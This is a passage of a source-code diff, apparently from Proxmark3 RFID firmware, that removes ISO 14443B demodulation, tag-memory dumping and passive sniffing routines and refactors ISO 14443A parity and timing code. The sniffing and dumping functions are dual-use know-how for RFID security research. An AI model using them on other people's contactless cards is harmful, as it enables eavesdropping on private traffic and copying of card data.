0) v = -v; - if(cq > 0) { - v += cq; - } else { - v -= cq; - } - if(v > 40) { - Demod.posCount = 0; - Demod.state = DEMOD_PHASE_REF_TRAINING; - Demod.sumI = 0; - Demod.sumQ = 0; - } - break; - - case DEMOD_PHASE_REF_TRAINING: - if(Demod.posCount < 8) { - Demod.sumI += ci; - Demod.sumQ += cq; - } else if(Demod.posCount > 100) { - // error, waited too long - Demod.state = DEMOD_UNSYNCD; - } else { - MAKE_SOFT_DECISION(); - if(v < 0) { - Demod.state = DEMOD_AWAITING_FALLING_EDGE_OF_SOF; - Demod.posCount = 0; - } - } - Demod.posCount++; - break; - - case DEMOD_AWAITING_FALLING_EDGE_OF_SOF: - MAKE_SOFT_DECISION(); - if(v < 0) { - Demod.state = DEMOD_GOT_FALLING_EDGE_OF_SOF; - Demod.posCount = 0; - } else { - if(Demod.posCount > 100) { - Demod.state = DEMOD_UNSYNCD; - } - } - Demod.posCount++; - break; - - case DEMOD_GOT_FALLING_EDGE_OF_SOF: - MAKE_SOFT_DECISION(); - if(v > 0) { - if(Demod.posCount < 12) { - Demod.state = DEMOD_UNSYNCD; - } else { - LED_C_ON(); // Got SOF - Demod.state = DEMOD_AWAITING_START_BIT; - Demod.posCount = 0; - Demod.len = 0; - Demod.metricN = 0; - Demod.metric = 0; - } - } else { - if(Demod.posCount > 100) { - Demod.state = DEMOD_UNSYNCD; - } - } - Demod.posCount++; - break; - - case DEMOD_AWAITING_START_BIT: - MAKE_SOFT_DECISION(); - if(v > 0) { - if(Demod.posCount > 10) { - Demod.state = DEMOD_UNSYNCD; - } - } else { - Demod.bitCount = 0; - Demod.posCount = 1; - Demod.thisBit = v; - Demod.shiftReg = 0; - Demod.state = DEMOD_RECEIVING_DATA; - } - break; - - case DEMOD_RECEIVING_DATA: - MAKE_SOFT_DECISION(); - if(Demod.posCount == 0) { - Demod.thisBit = v; - Demod.posCount = 1; - } else { - Demod.thisBit += v; - - if(Demod.thisBit > 0) { - Demod.metric += Demod.thisBit; - } else { - Demod.metric -= Demod.thisBit; - } - (Demod.metricN)++; - - Demod.shiftReg >>= 1; - if(Demod.thisBit > 0) { - Demod.shiftReg |= 0x200; - } - - Demod.bitCount++; - if(Demod.bitCount == 10) { - uint16_t s = Demod.shiftReg; - if((s & 0x200) && !(s & 0x001)) { - uint8_t b = (s >> 1); - Demod.output[Demod.len] = b; - Demod.len++; - Demod.state = DEMOD_AWAITING_START_BIT; - } else if(s == 0x000) { - // This is EOF - LED_C_OFF(); - Demod.state = DEMOD_UNSYNCD; - return TRUE; - } else { - Demod.state = DEMOD_UNSYNCD; - } - } - Demod.posCount = 0; - } - break; - - default: - Demod.state = DEMOD_UNSYNCD; - break; - } - - if (Demod.state == DEMOD_UNSYNCD) LED_C_OFF(); // Not synchronized... - return FALSE; -} - -/* - * Demodulate the samples we received from the tag - * weTx: set to 'TRUE' if we behave like a reader - * set to 'FALSE' if we behave like a snooper - * quiet: set to 'TRUE' to disable debug output - */ -static void GetSamplesFor14443Demod(int weTx, int n, int quiet) -{ - int max = 0; - int gotFrame = FALSE; - -//# define DMA_BUFFER_SIZE 8 - int8_t *dmaBuf; - - int lastRxCounter; - int8_t *upTo; - - int ci, cq; - - int samples = 0; - - // Clear out the state of the "UART" that receives from the tag. - memset(BigBuf, 0x00, 400); - Demod.output = (uint8_t *)BigBuf; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; - - // And the UART that receives from the reader - Uart.output = (((uint8_t *)BigBuf) + 1024); - Uart.byteCntMax = 100; - Uart.state = STATE_UNSYNCD; - - // Setup for the DMA. - dmaBuf = (int8_t *)(BigBuf + 32); - upTo = dmaBuf; - lastRxCounter = DEMOD_DMA_BUFFER_SIZE; - FpgaSetupSscDma((uint8_t *)dmaBuf, DEMOD_DMA_BUFFER_SIZE); - - // Signal field is ON with the appropriate LED: - if (weTx) LED_D_ON(); else LED_D_OFF(); - // And put the FPGA in the appropriate mode - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | - (weTx ? 0 : FPGA_HF_READER_RX_XCORR_SNOOP)); - - for(;;) { - int behindBy = lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR; - if(behindBy > max) max = behindBy; - - while(((lastRxCounter-AT91C_BASE_PDC_SSC->PDC_RCR) & (DEMOD_DMA_BUFFER_SIZE-1)) - > 2) - { - ci = upTo[0]; - cq = upTo[1]; - upTo += 2; - if(upTo - dmaBuf > DEMOD_DMA_BUFFER_SIZE) { - upTo -= DEMOD_DMA_BUFFER_SIZE; - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; - AT91C_BASE_PDC_SSC->PDC_RNCR = DEMOD_DMA_BUFFER_SIZE; - } - lastRxCounter -= 2; - if(lastRxCounter <= 0) { - lastRxCounter += DEMOD_DMA_BUFFER_SIZE; - } - - samples += 2; - - Handle14443UartBit(1); - Handle14443UartBit(1); - - if(Handle14443SamplesDemod(ci, cq)) { - gotFrame = 1; - } - } - - if(samples > 2000) { - break; - } - } - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; - if (!quiet) Dbprintf("%x %x %x", max, gotFrame, Demod.len); -} - -//----------------------------------------------------------------------------- -// Read the tag's response. We just receive a stream of slightly-processed -// samples from the FPGA, which we will later do some signal processing on, -// to get the bits. -//----------------------------------------------------------------------------- -/*static void GetSamplesFor14443(int weTx, int n) -{ - uint8_t *dest = (uint8_t *)BigBuf; - int c; - - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | - (weTx ? 0 : FPGA_HF_READER_RX_XCORR_SNOOP)); - - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x43; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - int8_t b; - b = (int8_t)AT91C_BASE_SSC->SSC_RHR; - - dest[c++] = (uint8_t)b; - - if(c >= n) { - break; - } - } - } -}*/ - -//----------------------------------------------------------------------------- -// Transmit the command (to the tag) that was placed in ToSend[]. -//----------------------------------------------------------------------------- -static void TransmitFor14443(void) -{ - int c; - - FpgaSetupSsc(); - - while(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0xff; - } - - // Signal field is ON with the appropriate Red LED - LED_D_ON(); - // Signal we are transmitting with the Green LED - LED_B_ON(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); - - for(c = 0; c < 10;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0xff; - c++; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = ToSend[c]; - c++; - if(c >= ToSendMax) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - LED_B_OFF(); // Finished sending -} - -//----------------------------------------------------------------------------- -// Code a layer 2 command (string of octets, including CRC) into ToSend[], -// so that it is ready to transmit to the tag using TransmitFor14443(). -//----------------------------------------------------------------------------- -static void CodeIso14443bAsReader(const uint8_t *cmd, int len) -{ - int i, j; - uint8_t b; - - ToSendReset(); - - // Establish initial reference level - for(i = 0; i < 40; i++) { - ToSendStuffBit(1); - } - // Send SOF - for(i = 0; i < 10; i++) { - ToSendStuffBit(0); - } - - for(i = 0; i < len; i++) { - // Stop bits/EGT - ToSendStuffBit(1); - ToSendStuffBit(1); - // Start bit - ToSendStuffBit(0); - // Data bits - b = cmd[i]; - for(j = 0; j < 8; j++) { - if(b & 1) { - ToSendStuffBit(1); - } else { - ToSendStuffBit(0); - } - b >>= 1; - } - } - // Send EOF - ToSendStuffBit(1); - for(i = 0; i < 10; i++) { - ToSendStuffBit(0); - } - for(i = 0; i < 8; i++) { - ToSendStuffBit(1); - } - - // And then a little more, to make sure that the last character makes - // it out before we switch to rx mode. - for(i = 0; i < 24; i++) { - ToSendStuffBit(1); - } - - // Convert from last character reference to length - ToSendMax++; -} - -//----------------------------------------------------------------------------- -// Read an ISO 14443 tag. We send it some set of commands, and record the -// responses. -// The command name is misleading, it actually decodes the reponse in HEX -// into the output buffer (read the result using hexsamples, not hisamples) -// -// obsolete function only for test -//----------------------------------------------------------------------------- -void AcquireRawAdcSamplesIso14443(uint32_t parameter) -{ - uint8_t cmd1[] = { 0x05, 0x00, 0x08, 0x39, 0x73 }; - - SendRawCommand14443B(sizeof(cmd1),1,1,cmd1); -} - -//----------------------------------------------------------------------------- -// Read a SRI512 ISO 14443 tag. -// -// SRI512 tags are just simple memory tags, here we're looking at making a dump -// of the contents of the memory. No anticollision algorithm is done, we assume -// we have a single tag in the field. -// -// I tried to be systematic and check every answer of the tag, every CRC, etc... -//----------------------------------------------------------------------------- -void ReadSTMemoryIso14443(uint32_t dwLast) -{ - uint8_t i = 0x00; - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Make sure that we start from off, since the tags are stateful; - // confusing things will happen if we don't reset them between reads. - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); - - // Now give it time to spin up. - // Signal field is on with the appropriate LED - LED_D_ON(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ); - SpinDelay(200); - - // First command: wake up the tag using the INITIATE command - uint8_t cmd1[] = { 0x06, 0x00, 0x97, 0x5b}; - CodeIso14443bAsReader(cmd1, sizeof(cmd1)); - TransmitFor14443(); -// LED_A_ON(); - GetSamplesFor14443Demod(TRUE, 2000,TRUE); -// LED_A_OFF(); - - if (Demod.len == 0) { - DbpString("No response from tag"); - return; - } else { - Dbprintf("Randomly generated UID from tag (+ 2 byte CRC): %x %x %x", - Demod.output[0], Demod.output[1],Demod.output[2]); - } - // There is a response, SELECT the uid - DbpString("Now SELECT tag:"); - cmd1[0] = 0x0E; // 0x0E is SELECT - cmd1[1] = Demod.output[0]; - ComputeCrc14443(CRC_14443_B, cmd1, 2, &cmd1[2], &cmd1[3]); - CodeIso14443bAsReader(cmd1, sizeof(cmd1)); - TransmitFor14443(); -// LED_A_ON(); - GetSamplesFor14443Demod(TRUE, 2000,TRUE); -// LED_A_OFF(); - if (Demod.len != 3) { - Dbprintf("Expected 3 bytes from tag, got %d", Demod.len); - return; - } - // Check the CRC of the answer: - ComputeCrc14443(CRC_14443_B, Demod.output, 1 , &cmd1[2], &cmd1[3]); - if(cmd1[2] != Demod.output[1] || cmd1[3] != Demod.output[2]) { - DbpString("CRC Error reading select response."); - return; - } - // Check response from the tag: should be the same UID as the command we just sent: - if (cmd1[1] != Demod.output[0]) { - Dbprintf("Bad response to SELECT from Tag, aborting: %x %x", cmd1[1], Demod.output[0]); - return; - } - // Tag is now selected, - // First get the tag's UID: - cmd1[0] = 0x0B; - ComputeCrc14443(CRC_14443_B, cmd1, 1 , &cmd1[1], &cmd1[2]); - CodeIso14443bAsReader(cmd1, 3); // Only first three bytes for this one - TransmitFor14443(); -// LED_A_ON(); - GetSamplesFor14443Demod(TRUE, 2000,TRUE); -// LED_A_OFF(); - if (Demod.len != 10) { - Dbprintf("Expected 10 bytes from tag, got %d", Demod.len); - return; - } - // The check the CRC of the answer (use cmd1 as temporary variable): - ComputeCrc14443(CRC_14443_B, Demod.output, 8, &cmd1[2], &cmd1[3]); - if(cmd1[2] != Demod.output[8] || cmd1[3] != Demod.output[9]) { - Dbprintf("CRC Error reading block! - Below: expected, got %x %x", - (cmd1[2]<<8)+cmd1[3], (Demod.output[8]<<8)+Demod.output[9]); - // Do not return;, let's go on... (we should retry, maybe ?) - } - Dbprintf("Tag UID (64 bits): %08x %08x", - (Demod.output[7]<<24) + (Demod.output[6]<<16) + (Demod.output[5]<<8) + Demod.output[4], - (Demod.output[3]<<24) + (Demod.output[2]<<16) + (Demod.output[1]<<8) + Demod.output[0]); - - // Now loop to read all 16 blocks, address from 0 to last block - Dbprintf("Tag memory dump, block 0 to %d",dwLast); - cmd1[0] = 0x08; - i = 0x00; - dwLast++; - for (;;) { - if (i == dwLast) { - DbpString("System area block (0xff):"); - i = 0xff; - } - cmd1[1] = i; - ComputeCrc14443(CRC_14443_B, cmd1, 2, &cmd1[2], &cmd1[3]); - CodeIso14443bAsReader(cmd1, sizeof(cmd1)); - TransmitFor14443(); -// LED_A_ON(); - GetSamplesFor14443Demod(TRUE, 2000,TRUE); -// LED_A_OFF(); - if (Demod.len != 6) { // Check if we got an answer from the tag - DbpString("Expected 6 bytes from tag, got less..."); - return; - } - // The check the CRC of the answer (use cmd1 as temporary variable): - ComputeCrc14443(CRC_14443_B, Demod.output, 4, &cmd1[2], &cmd1[3]); - if(cmd1[2] != Demod.output[4] || cmd1[3] != Demod.output[5]) { - Dbprintf("CRC Error reading block! - Below: expected, got %x %x", - (cmd1[2]<<8)+cmd1[3], (Demod.output[4]<<8)+Demod.output[5]); - // Do not return;, let's go on... (we should retry, maybe ?) - } - // Now print out the memory location: - Dbprintf("Address=%x, Contents=%x, CRC=%x", i, - (Demod.output[3]<<24) + (Demod.output[2]<<16) + (Demod.output[1]<<8) + Demod.output[0], - (Demod.output[4]<<8)+Demod.output[5]); - if (i == 0xff) { - break; - } - i++; - } -} - - -//============================================================================= -// Finally, the `sniffer' combines elements from both the reader and -// simulated tag, to show both sides of the conversation. -//============================================================================= - -//----------------------------------------------------------------------------- -// Record the sequence of commands sent by the reader to the tag, with -// triggering so that we start recording at the point that the tag is moved -// near the reader. -//----------------------------------------------------------------------------- -/* - * Memory usage for this function, (within BigBuf) - * 0-4095 : Demodulated samples receive (4096 bytes) - DEMOD_TRACE_SIZE - * 4096-6143 : Last Received command, 2048 bytes (reader->tag) - READER_TAG_BUFFER_SIZE - * 6144-8191 : Last Received command, 2048 bytes(tag->reader) - TAG_READER_BUFFER_SIZE - * 8192-9215 : DMA Buffer, 1024 bytes (samples) - DEMOD_DMA_BUFFER_SIZE - */ -void RAMFUNC SnoopIso14443(void) -{ - // We won't start recording the frames that we acquire until we trigger; - // a good trigger condition to get started is probably when we see a - // response from the tag. - int triggered = TRUE; - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // The command (reader -> tag) that we're working on receiving. - uint8_t *receivedCmd = (uint8_t *)(BigBuf) + DEMOD_TRACE_SIZE; - // The response (tag -> reader) that we're working on receiving. - uint8_t *receivedResponse = (uint8_t *)(BigBuf) + DEMOD_TRACE_SIZE + READER_TAG_BUFFER_SIZE; - - // As we receive stuff, we copy it from receivedCmd or receivedResponse - // into trace, along with its length and other annotations. - uint8_t *trace = (uint8_t *)BigBuf; - int traceLen = 0; - - // The DMA buffer, used to stream samples from the FPGA. - int8_t *dmaBuf = (int8_t *)(BigBuf) + DEMOD_TRACE_SIZE + READER_TAG_BUFFER_SIZE + TAG_READER_BUFFER_SIZE; - int lastRxCounter; - int8_t *upTo; - int ci, cq; - int maxBehindBy = 0; - - // Count of samples received so far, so that we can include timing - // information in the trace buffer. - int samples = 0; - - // Initialize the trace buffer - memset(trace, 0x44, DEMOD_TRACE_SIZE); - - // Set up the demodulator for tag -> reader responses. - Demod.output = receivedResponse; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; - - // And the reader -> tag commands - memset(&Uart, 0, sizeof(Uart)); - Uart.output = receivedCmd; - Uart.byteCntMax = 100; - Uart.state = STATE_UNSYNCD; - - // Print some debug information about the buffer sizes - Dbprintf("Snooping buffers initialized:"); - Dbprintf(" Trace: %i bytes", DEMOD_TRACE_SIZE); - Dbprintf(" Reader -> tag: %i bytes", READER_TAG_BUFFER_SIZE); - Dbprintf(" tag -> Reader: %i bytes", TAG_READER_BUFFER_SIZE); - Dbprintf(" DMA: %i bytes", DEMOD_DMA_BUFFER_SIZE); - - // And put the FPGA in the appropriate mode - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | - FPGA_HF_READER_RX_XCORR_SNOOP); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - // Setup for the DMA. - FpgaSetupSsc(); - upTo = dmaBuf; - lastRxCounter = DEMOD_DMA_BUFFER_SIZE; - FpgaSetupSscDma((uint8_t *)dmaBuf, DEMOD_DMA_BUFFER_SIZE); - - LED_A_ON(); - - // And now we loop, receiving samples. - for(;;) { - int behindBy = (lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR) & - (DEMOD_DMA_BUFFER_SIZE-1); - if(behindBy > maxBehindBy) { - maxBehindBy = behindBy; - if(behindBy > (DEMOD_DMA_BUFFER_SIZE-2)) { // TODO: understand whether we can increase/decrease as we want or not? - Dbprintf("blew circular buffer! behindBy=0x%x", behindBy); - goto done; - } - } - if(behindBy < 2) continue; - - ci = upTo[0]; - cq = upTo[1]; - upTo += 2; - lastRxCounter -= 2; - if(upTo - dmaBuf > DEMOD_DMA_BUFFER_SIZE) { - upTo -= DEMOD_DMA_BUFFER_SIZE; - lastRxCounter += DEMOD_DMA_BUFFER_SIZE; - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; - AT91C_BASE_PDC_SSC->PDC_RNCR = DEMOD_DMA_BUFFER_SIZE; - } - - samples += 2; - -#define HANDLE_BIT_IF_BODY \ - if(triggered) { \ - trace[traceLen++] = ((samples >> 0) & 0xff); \ - trace[traceLen++] = ((samples >> 8) & 0xff); \ - trace[traceLen++] = ((samples >> 16) & 0xff); \ - trace[traceLen++] = ((samples >> 24) & 0xff); \ - trace[traceLen++] = 0; \ - trace[traceLen++] = 0; \ - trace[traceLen++] = 0; \ - trace[traceLen++] = 0; \ - trace[traceLen++] = Uart.byteCnt; \ - memcpy(trace+traceLen, receivedCmd, Uart.byteCnt); \ - traceLen += Uart.byteCnt; \ - if(traceLen > 1000) break; \ - } \ - /* And ready to receive another command. */ \ - memset(&Uart, 0, sizeof(Uart)); \ - Uart.output = receivedCmd; \ - Uart.byteCntMax = 100; \ - Uart.state = STATE_UNSYNCD; \ - /* And also reset the demod code, which might have been */ \ - /* false-triggered by the commands from the reader. */ \ - memset(&Demod, 0, sizeof(Demod)); \ - Demod.output = receivedResponse; \ - Demod.state = DEMOD_UNSYNCD; \ - - if(Handle14443UartBit(ci & 1)) { - HANDLE_BIT_IF_BODY - } - if(Handle14443UartBit(cq & 1)) { - HANDLE_BIT_IF_BODY - } - - if(Handle14443SamplesDemod(ci, cq)) { - // timestamp, as a count of samples - trace[traceLen++] = ((samples >> 0) & 0xff); - trace[traceLen++] = ((samples >> 8) & 0xff); - trace[traceLen++] = ((samples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((samples >> 24) & 0xff); - // correlation metric (~signal strength estimate) - if(Demod.metricN != 0) { - Demod.metric /= Demod.metricN; - } - trace[traceLen++] = ((Demod.metric >> 0) & 0xff); - trace[traceLen++] = ((Demod.metric >> 8) & 0xff); - trace[traceLen++] = ((Demod.metric >> 16) & 0xff); - trace[traceLen++] = ((Demod.metric >> 24) & 0xff); - // length - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedResponse, Demod.len); - traceLen += Demod.len; - if(traceLen > DEMOD_TRACE_SIZE) { - DbpString("Reached trace limit"); - goto done; - } - - triggered = TRUE; - LED_A_OFF(); - LED_B_ON(); - - // And ready to receive another response. - memset(&Demod, 0, sizeof(Demod)); - Demod.output = receivedResponse; - Demod.state = DEMOD_UNSYNCD; - } - WDT_HIT(); - - if(BUTTON_PRESS()) { - DbpString("cancelled"); - goto done; - } - } - -done: - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; - DbpString("Snoop statistics:"); - Dbprintf(" Max behind by: %i", maxBehindBy); - Dbprintf(" Uart State: %x", Uart.state); - Dbprintf(" Uart ByteCnt: %i", Uart.byteCnt); - Dbprintf(" Uart ByteCntMax: %i", Uart.byteCntMax); - Dbprintf(" Trace length: %i", traceLen); -} - -/* - * Send raw command to tag ISO14443B - * @Input - * datalen len of buffer data - * recv bool when true wait for data from tag and send to client - * powerfield bool leave the field on when true - * data buffer with byte to send - * - * @Output - * none - * - */ - -void SendRawCommand14443B(uint32_t datalen, uint32_t recv,uint8_t powerfield, uint8_t data[]) -{ - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - if(!powerfield) - { - // Make sure that we start from off, since the tags are stateful; - // confusing things will happen if we don't reset them between reads. - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LED_D_OFF(); - SpinDelay(200); - } - - if(!GETBIT(GPIO_LED_D)) - { - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); - - // Now give it time to spin up. - // Signal field is on with the appropriate LED - LED_D_ON(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ); - SpinDelay(200); - } - - CodeIso14443bAsReader(data, datalen); - TransmitFor14443(); - if(recv) - { - uint16_t iLen = MIN(Demod.len,USB_CMD_DATA_SIZE); - GetSamplesFor14443Demod(TRUE, 2000, TRUE); - cmd_send(CMD_ACK,iLen,0,0,Demod.output,iLen); - } - if(!powerfield) - { - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LED_D_OFF(); - } -} - diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 9a80a1772..f6be25a50 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -9,26 +9,17 @@ //----------------------------------------------------------------------------- // Routines to support ISO 14443 type A. //----------------------------------------------------------------------------- - -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "cmd.h" - -#include "iso14443crc.h" #include "iso14443a.h" -#include "crapto1.h" -#include "mifareutil.h" +#define MAX_ISO14A_TIMEOUT 524288 static uint32_t iso14a_timeout; -uint8_t *trace = (uint8_t *) BigBuf+TRACE_OFFSET; + int rsamples = 0; -int traceLen = 0; -int tracing = TRUE; + uint8_t trigger = 0; // the block number for the ISO14443-4 PCB static uint8_t iso14_pcb_blocknum = 0; +static uint8_t* free_buffer_pointer; // // ISO14443 timing: @@ -37,7 +28,7 @@ static uint8_t iso14_pcb_blocknum = 0; #define REQUEST_GUARD_TIME (7000/16 + 1) // minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles #define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1) -// bool LastCommandWasRequest = FALSE; +// bool LastCommandWasRequest = false; // // Total delays including SSC-Transfers between ARM and FPGA. These are in carrier clock cycles (1/13,56MHz) @@ -77,13 +68,13 @@ uint16_t FpgaSendQueueDelay; #define DELAY_FPGA_QUEUE (FpgaSendQueueDelay<<1) // When the PM acts as tag and is sending, it takes -// 4*16 ticks until we can write data to the sending hold register +// 4*16 + 8 ticks until we can write data to the sending hold register // 8*16 ticks until the SHR is transferred to the Sending Shift Register -// 8 ticks until the first transfer starts -// 8 ticks later the FPGA samples the data -// + a varying number of ticks in the FPGA Delay Queue (mod_sig_buf) +// 8 ticks later the FPGA samples the first data +// + 16 ticks until assigned to mod_sig // + 1 tick to assign mod_sig_coil -#define DELAY_ARM2AIR_AS_TAG (4*16 + 8*16 + 8 + 8 + DELAY_FPGA_QUEUE + 1) +// + a varying number of ticks in the FPGA Delay Queue (mod_sig_buf) +#define DELAY_ARM2AIR_AS_TAG (4*16 + 8 + 8*16 + 8 + 16 + 1 + DELAY_FPGA_QUEUE) // When the PM acts as sniffer and is receiving tag data, it takes // 3 ticks A/D conversion @@ -104,11 +95,9 @@ uint16_t FpgaSendQueueDelay; //variables used for timing purposes: //these are in ssp_clk cycles: -uint32_t NextTransferTime; -uint32_t LastTimeProxToAirStart; -uint32_t LastProxToAirDuration; - - +static uint32_t NextTransferTime; +static uint32_t LastTimeProxToAirStart; +static uint32_t LastProxToAirDuration; // CARD TO READER - manchester // Sequence D: 11110000 modulation with subcarrier during first half @@ -125,100 +114,43 @@ uint32_t LastProxToAirDuration; #define SEC_Y 0x00 #define SEC_Z 0xc0 -const uint8_t OddByteParity[256] = { - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 -}; - - void iso14a_set_trigger(bool enable) { trigger = enable; } -void iso14a_clear_trace() { - memset(trace, 0x44, TRACE_SIZE); - traceLen = 0; -} - -void iso14a_set_tracing(bool enable) { - tracing = enable; -} - void iso14a_set_timeout(uint32_t timeout) { - iso14a_timeout = timeout; + iso14a_timeout = timeout + (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) + 2; +} + +uint32_t iso14a_get_timeout(void) { + return iso14a_timeout - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) - 2; } //----------------------------------------------------------------------------- // Generate the parity value for a byte sequence -// //----------------------------------------------------------------------------- -byte_t oddparity (const byte_t bt) -{ - return OddByteParity[bt]; +void GetParity(const uint8_t *pbtCmd, uint16_t iLen, uint8_t *par) { + uint16_t paritybit_cnt = 0; + uint16_t paritybyte_cnt = 0; + uint8_t parityBits = 0; + + for (uint16_t i = 0; i < iLen; i++) { + // Generate the parity bits + parityBits |= ((oddparity8(pbtCmd[i])) << (7-paritybit_cnt)); + if (paritybit_cnt == 7) { + par[paritybyte_cnt] = parityBits; // save 8 Bits parity + parityBits = 0; // and advance to next Parity Byte + paritybyte_cnt++; + paritybit_cnt = 0; + } else { + paritybit_cnt++; + } + } + + // save remaining parity bits + par[paritybyte_cnt] = parityBits; } -uint32_t GetParity(const uint8_t * pbtCmd, int iLen) -{ - int i; - uint32_t dwPar = 0; - - // Generate the parity bits - for (i = 0; i < iLen; i++) { - // and save them to a 32Bit word - dwPar |= ((OddByteParity[pbtCmd[i]]) << i); - } - return dwPar; -} - -void AppendCrc14443a(uint8_t* data, int len) -{ - ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1); -} - -// The function LogTrace() is also used by the iClass implementation in iClass.c -bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, uint32_t dwParity, bool readerToTag) -{ - if (!tracing) return FALSE; - // Return when trace is full - if (traceLen + sizeof(timestamp) + sizeof(dwParity) + iLen >= TRACE_SIZE) { - tracing = FALSE; // don't trace any more - return FALSE; - } - - // Trace the random, i'm curious - trace[traceLen++] = ((timestamp >> 0) & 0xff); - trace[traceLen++] = ((timestamp >> 8) & 0xff); - trace[traceLen++] = ((timestamp >> 16) & 0xff); - trace[traceLen++] = ((timestamp >> 24) & 0xff); - - if (!readerToTag) { - trace[traceLen - 1] |= 0x80; - } - trace[traceLen++] = ((dwParity >> 0) & 0xff); - trace[traceLen++] = ((dwParity >> 8) & 0xff); - trace[traceLen++] = ((dwParity >> 16) & 0xff); - trace[traceLen++] = ((dwParity >> 24) & 0xff); - trace[traceLen++] = iLen; - if (btBytes != NULL && iLen != 0) { - memcpy(trace + traceLen, btBytes, iLen); - } - traceLen += iLen; - return TRUE; -} //============================================================================= // ISO 14443 Type A - Miller decoder @@ -239,133 +171,163 @@ bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, static tUart Uart; // Lookup-Table to decide if 4 raw bits are a modulation. -// We accept two or three consecutive "0" in any position with the rest "1" +// We accept the following: +// 0001 - a 3 tick wide pause +// 0011 - a 2 tick wide pause, or a three tick wide pause shifted left +// 0111 - a 2 tick wide pause shifted left +// 1001 - a 2 tick wide pause shifted right const bool Mod_Miller_LUT[] = 